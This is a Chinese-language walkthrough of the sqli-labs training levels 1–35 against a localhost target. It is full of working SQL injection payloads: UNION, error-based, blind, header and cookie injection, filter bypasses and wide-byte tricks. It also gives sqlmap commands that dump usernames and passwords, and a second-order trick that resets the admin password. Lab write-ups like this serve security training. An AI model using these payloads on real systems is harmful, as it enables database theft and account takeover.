【總結】sqli-labs Less(1-35) 小結


0x00   工具

phpstudy2016:鏈接:http://pan.baidu.com/s/1bpbEBCj 密碼:fmr4

sqli-labs-master:鏈接:http://pan.baidu.com/s/1jH4WlMY 密碼:11mj

環境搭建之前寫過,這里就不多說了,直接開始通關體驗

所有實驗均是拿當前數據庫為例進行,即database()...

第一題說明了注入的初步判斷及閉合,后面的題就不進行詳細說明了

0x01   解題

一、http://127.0.0.1/sqli-labs-master/Less-1/?id=1

1、手工UNION聯合查詢注入

輸入單引號,頁面報錯,信息為''1'' LIMIT 0,1',如下圖所示

 

根據報錯信息,可以確定輸入參數的內容被存放到一對單引號中間,腦補一下咱們輸入的1在數據庫中出現的位置為:select ... from ... where id=’1’ ......,多余的步驟不多說了,直接開始爆數據吧。

爆表

http://127.0.0.1/sqli-labs-master/Less-1/?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

 

爆列(字段)

http://127.0.0.1/sqli-labs-master/Less-1/?id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+

 

爆值

http://127.0.0.1/sqli-labs-master/Less-1/?id=0' union select 1,group_concat(username,0x3a,password),3 from users--+

 

2、手工報錯型注入

爆表

http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and 1=extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+

 

爆列(字段)

http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and 1=extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+

 

http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and 1=extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in ('user_id','first_name','last_name','us')))) --+

 

http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and 1=extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in ('user_id','first_name','last_name','us','user','password','avatar','last_login')))) --+

 

爆值

http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and 1=extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)))--+

 

http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and 1=extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','I-kill-you'))))--+

 

步驟類似,就不重復做了

3、借助SQLMAP工具進行注入

本工具中使用-v 0參數只是為了更好的截圖......

sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1 --technique UE --dbms mysql –batch –v 0

 

sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1 --technique UE --dbms mysql --dbs --batch -v 0

 

sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1 --technique UE --dbms mysql -D security --tables  --batch -v 0

 

sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1 --technique UE --dbms mysql -D security -T users --columns  --batch -v 0

 

sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1 --technique UE --dbms mysql -D security -T users -C username,password --dump --batch -v 0

 

其它庫、表、字段就不一一爆了,,,

二、http://127.0.0.1/sqli-labs-master/Less-2/?id=1

輸入單引號,根據報錯信息確定咱們輸入的內容被原封不動的帶入到數據庫中,也可叫做數字型注入,把第一題中id=1后面的單引號去掉,其它保持不變就行了,不再重復了......

三、http://127.0.0.1/sqli-labs-master/Less-3/?id=1

輸入單引號,根據報錯信息確定咱們輸入的內容存放到一對單引號加圓括號中了,腦補一下咱們輸入1在數據庫語句中的位置,形如select ... from ... where id=(‘1’) ...,在第一題中id=1‘的后面單引號加上),其它保持不變就行了,不再重復了......

四、http://127.0.0.1/sqli-labs-master/Less-4/?id=1

輸入單引號,頁面無任何變化,嘗試輸入雙引號,頁面報錯,根據報錯信息判斷出咱們輸入的內容被放到一隊雙引號和圓括號中,腦補一下:select ... from ... where id=(”1”) ...,把第一題中1后面的引號換成雙引號加)就可以了......

五、http://127.0.0.1/sqli-labs-master/Less-5/?id=1

 

看到這個報錯信息,第一反應就行布爾型盲注、報錯型注入、時間延遲型盲注了,十有八九UNION聯合查詢型注入不能用了......

簡單測試下,猜測都是對的,下面給出驗證時間延遲型的盲注:

http://127.0.0.1/sqli-labs-master/Less-5/?id=1’ and sleep(5)--+

報錯注入,方法和第一題一樣,都是單引號型的

布爾型和時間延遲型盲注建議采用sqlmap去跑吧......

 

六、http://127.0.0.1/sqli-labs-master/Less-6/?id=1

把上一題的單引號換成雙引號即可......

七、http://127.0.0.1/sqli-labs-master/Less-7/?id=1

幾次嘗試,不難猜出注釋符被過濾了......,直接輸入http://127.0.0.1/sqli-labs-master/Less-7/?id=1' and '1'='1

由報錯信息不難看出報錯型注入基本沒戲的,直接布爾型盲注或者時間盲注,使用sqlmap跑,

sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-7/?id=1 --technique B --dbms mysql --batch -v 0

 

八、http://127.0.0.1/sqli-labs-master/Less-8/?id=1

輸入內容被放到一對單引號中,注釋符可用,構造payload:

http://127.0.0.1/sqli-labs-master/Less-8/?id=1%27%20and%201=1%20--+

http://127.0.0.1/sqli-labs-master/Less-8/?id=1%27%20and%202=1%20--+

判斷出存在布爾型盲注,使用sqlmap跑,和第七題一樣......

sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-8/?id=1 --technique B --dbms mysql --batch -v 0

 

九、http://127.0.0.1/sqli-labs-master/Less-9/?id=1

參數內容被放到一對單引號中,不用腦補了......注釋符可用

簡單判斷下:http://127.0.0.1/sqli-labs-master/Less-9/?id=1%27%20and%20sleep(5)%20--+

頁面響應延遲,判斷存在時間延遲型注入,直接用sqlmap跑,

sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-9/?id=1 --technique T --dbms mysql --batch -v 0

 

十、http://127.0.0.1/sqli-labs-master/Less-10/?id=1

輸入的參數內容即1被放到一對雙引號中,注釋符可用

http://127.0.0.1/sqli-labs-master/Less-10/?id=1%22%20and%20sleep(5)--+

頁面響應延遲,存在時間延遲型注入,直接使用sqlmap跑,,,

此處需要修改一下前綴文件內容如下,修改xml文件夾下boundaries.xml文件中的內容如下圖所示,,,

 

直接用sqlmap跑,

 

十一、 http://127.0.0.1/sqli-labs-master/Less-11/

11到21關的提交方式全是post型的,需要借助抓包工具,我這里使用burpsuite工具

Burpsuite抓包,簡單測試下,存在報錯型注入

uname=admin' and extractvalue(1,concat(0x7e,(select database()))) --+&passwd=admin&submit=Submit

 

直接sqlmap跑,,,,,,

 

再測試下,存在UNION聯合查詢注入,如下圖所示,,

 

直接sqlmap跑,

 

十二、http://127.0.0.1/sqli-labs-master/Less-12/

雙引號,報錯型

 

直接sqlmap跑,,,

sqlmap.py -r C:\Users\esafenet\AppData\Local\Temp\\1506657847007.req --technique E --dbms mysql --batch -v 0

 

十三、http://127.0.0.1/sqli-labs-master/Less-13/

抓包測試注入類型,輸入參數內容被放到(‘’)中,注釋符可用,如下圖所示,,

直接使用sqlmap跑,

sqlmap.py -r C:\Users\esafenet\AppData\Local\Temp\\1506661582400.req --prefix "')" --technique E --dbms mysql --batch -v 0

 

十四、http://127.0.0.1/sqli-labs-master/Less-14/

輸入內容被放到雙引號中,報錯型注入,注釋符不可用,如下圖所示,,

 

使用sqlmap去跑,,,

sqlmap.py -r C:\Users\esafenet\AppData\Local\Temp\\1506662249280.req --technique E --dbms mysql --batch -v 0

 

十五、 http://127.0.0.1/sqli-labs-master/Less-15/

根據頁面顯示,可以測出為布爾和時間延遲的盲注,如下圖所示

uname=admin' and 1=1 --+&passwd=admin&submit=Submit

 

uname=admin' and 1=2 --+&passwd=admin&submit=Submit

 

uname=admin' and sleep(5) --+&passwd=admin&submit=Submit

頁面響應延遲,可以看出存在時間延遲性注入,

直接使用sqlmap跑,,

sqlmap.py -r C:\Users\esafenet\AppData\Local\Temp\\1506662373346.req --technique T --dbms mysql --batch -v 0 --threads 8

 

布爾型盲注存在點問題,使用sqlmap工具沒有跑出來,,,只能通過手工去爆了,苦逼,,

十六、  http://127.0.0.1/sqli-labs-master/Less-16/

 

sqlmap.py -r C:\Users\esafenet\AppData\Local\Temp\\1506664390744.req -p "uname" --technique T --dbms mysql --batch --level 3 --threads 8 -v 0

 

十七、http://127.0.0.1/sqli-labs-master/Less-17/

報錯型注入,單引號,注釋符可用

 

用sqlmap測試

sqlmap.py -r C:\Users\esafenet\AppData\Local\Temp\\1506754249224.req -p passwd --tech E --dbms mysql --batch -v 0

 

十八、http://127.0.0.1/sqli-labs-master/Less-18/

報錯型,單引號,user-agent型注入點,,,

 

直接用sqlmap跑,在http請求頭的user-agent內容后面加上一個*號

sqlmap.py -r C:\Users\esafenet\AppData\Local\Temp\\1506757146400.req --user-agent Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36 --tech E --dbms mysql --batch -v 0

 

十九、http://127.0.0.1/sqli-labs-master/Less-19/

報錯型,單引號,referer型注入點,,

 

直接用sqlmap跑,在http請求頭的referer內容后面加上一個*號,,

sqlmap.py -r C:\Users\esafenet\AppData\Local\Temp\\1506757627681.req --referer http://127.0.0.1/sqli-labs-master/Less-19/ --tech E --dbms mysql --batch -v 0

 

二十、http://127.0.0.1/sqli-labs-master/Less-20/

報錯型,單引號,cookie型注入

 

直接用sqlmap測試,,

sqlmap.py -r C:\Users\esafenet\AppData\Local\Temp\\1506758959558.req --cookie uname=admin --tech E --dbms mysql --batch -v 0

 

二十一、http://127.0.0.1/sqli-labs-master/Less-21/

本關和20關相似,只是cookie的uname值經過base64編碼了,使用sqlmap的時候直接帶個腳本就行了,直接上sqlmap,,

sqlmap.py -r C:\Users\esafenet\AppData\Local\Temp\\1506759460951.req --cookie uname=YWRtaW4%3D --tech E --dbms mysql --tamper base64encode.py --batch -v 0

 

二十二、 http://127.0.0.1/sqli-labs-master/Less-22/

報錯型,雙引號,base64編碼,,沒改payloads等級的需要使用--level 3 參數

 

直接上SQL map,,

sqlmap.py -r C:\Users\esafenet\AppData\Local\Temp\\1506760318956.req --cookie uname=YWRtaW4= --tech E --dbms mysql --tamper base64encode.py --batch -v 0

 

二十三、http://127.0.0.1/sqli-labs-master/Less-23/

單引號,過濾了注釋符,,直接上sqlmap吧,,

 

二十四、http://127.0.0.1/sqli-labs-master/Less-24/?id=1

利用帶有管理員賬號的注冊用戶名,在修改密碼的時候達到修改管理員賬號密碼的效果,,

注冊用戶名:admin’ or ‘1’=’1  密碼為 admin

注冊成功后,登錄進去修改密碼,將密碼改為 123

更改后即可發現,admin用戶的密碼也被改成了123,

自行腦補一下,update tables set password=’123’ where username=’admin’ or ‘1’=’1’

二十五、http://127.0.0.1/sqli-labs-master/Less-25/?id=1

過濾了and和or,繞過方法%26%26代替and,或者雙寫anandd來繞過,or用 || 或者oorr來代替即可繞過,,,話不多說,我這里直接修改腳本使用sqlmap來跑,,

And2anandd.py腳本內容如下所示,,

 

sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-25/?id=1 -p id --tech E --dbms mysql --tamper and2anandd.py --batch -v 0

 

二十六、http://127.0.0.1/sqli-labs-master/Less-26/?id=1

此題過濾了所有空白字符,暫時未找到代替空格的字符,,,,,,歡迎大佬們分享^_^

二十七、http://127.0.0.1/sqli-labs-master/Less-27/?id=1

union,select,空格,注釋符被過濾,直接修改腳本結合sqlmap測試,使用%09,%0a等代替空格,雙寫代替select,,腳本和25題類似,,,直接用sqlmap測試,

python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-27/?id=1 -p id --prefix "'" --suffix "%0aand%0a'1'='1" --tech E --dbms mysql --tamper select2selecselectt.py,space2%0a.py --batch -v 0

 

二十八、http://127.0.0.1/sqli-labs-master/Less-28/?id=1

http://127.0.0.1/sqli-labs-master/Less-28/?id=0%27)%0aunionunion%0aselect%0aselect%0a1,2,3%0aand%0a(%271%27=%271

直接用sqlmap跑,本題過濾了union+空格+select和空格,但是sqlmap中使用的是union+all+select,那我們只需用其它空白字符替換空格即可,,

python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-28/?id=1 --prefix "')" --suffix "%0aand%0a('1'='1" --tech U --dbms mysql --tamper space2%0a.py --batch -v 0

 

測試發現不存在報錯型注入,,,

二十九、http://127.0.0.1/sqli-labs-master/Less-29/?id=1

http://127.0.0.1/sqli-labs-master/Less-29/?id=0' union%0aall select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

 

直接用sqlmap測試

python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-29/?id=1 --dbms mysql --batch -v 0

 

三十、http://127.0.0.1/sqli-labs-master/Less-30/?id=1

python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-30/?id=1 --dbms mysql --batch -v 0

 

三十一、http://127.0.0.1/sqli-labs-master/Less-31/?id=1

python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-31/?id=1 --dbms mysql --batch -v 0

 

三十二、http://127.0.0.1/sqli-labs-master/Less-32/?id=1

寬字節繞過引號轉義

http://127.0.0.1/sqli-labs-master/Less-32/?id=0%df' union all select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

三十三、http://127.0.0.1/sqli-labs-master/Less-33/

http://127.0.0.1/sqli-labs-master/Less-33/?id=0%df%27%20union%20all%20select%201,2,3--+

 

http://127.0.0.1/sqli-labs-master/Less-33/?id=0%df%27%20union%20all%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+

 

三十四、http://127.0.0.1/sqli-labs-master/Less-34/

burpsuite抓包,手工測試,,

 

三十五、http://127.0.0.1/sqli-labs-master/Less-35

http://127.0.0.1/sqli-labs-master/Less-35/?id=0 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()

 

不知不覺這些東西就花了我一下午的時間,脖子有點疼,今天先搞到這里,后續分享用python編寫的腳本來測試。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM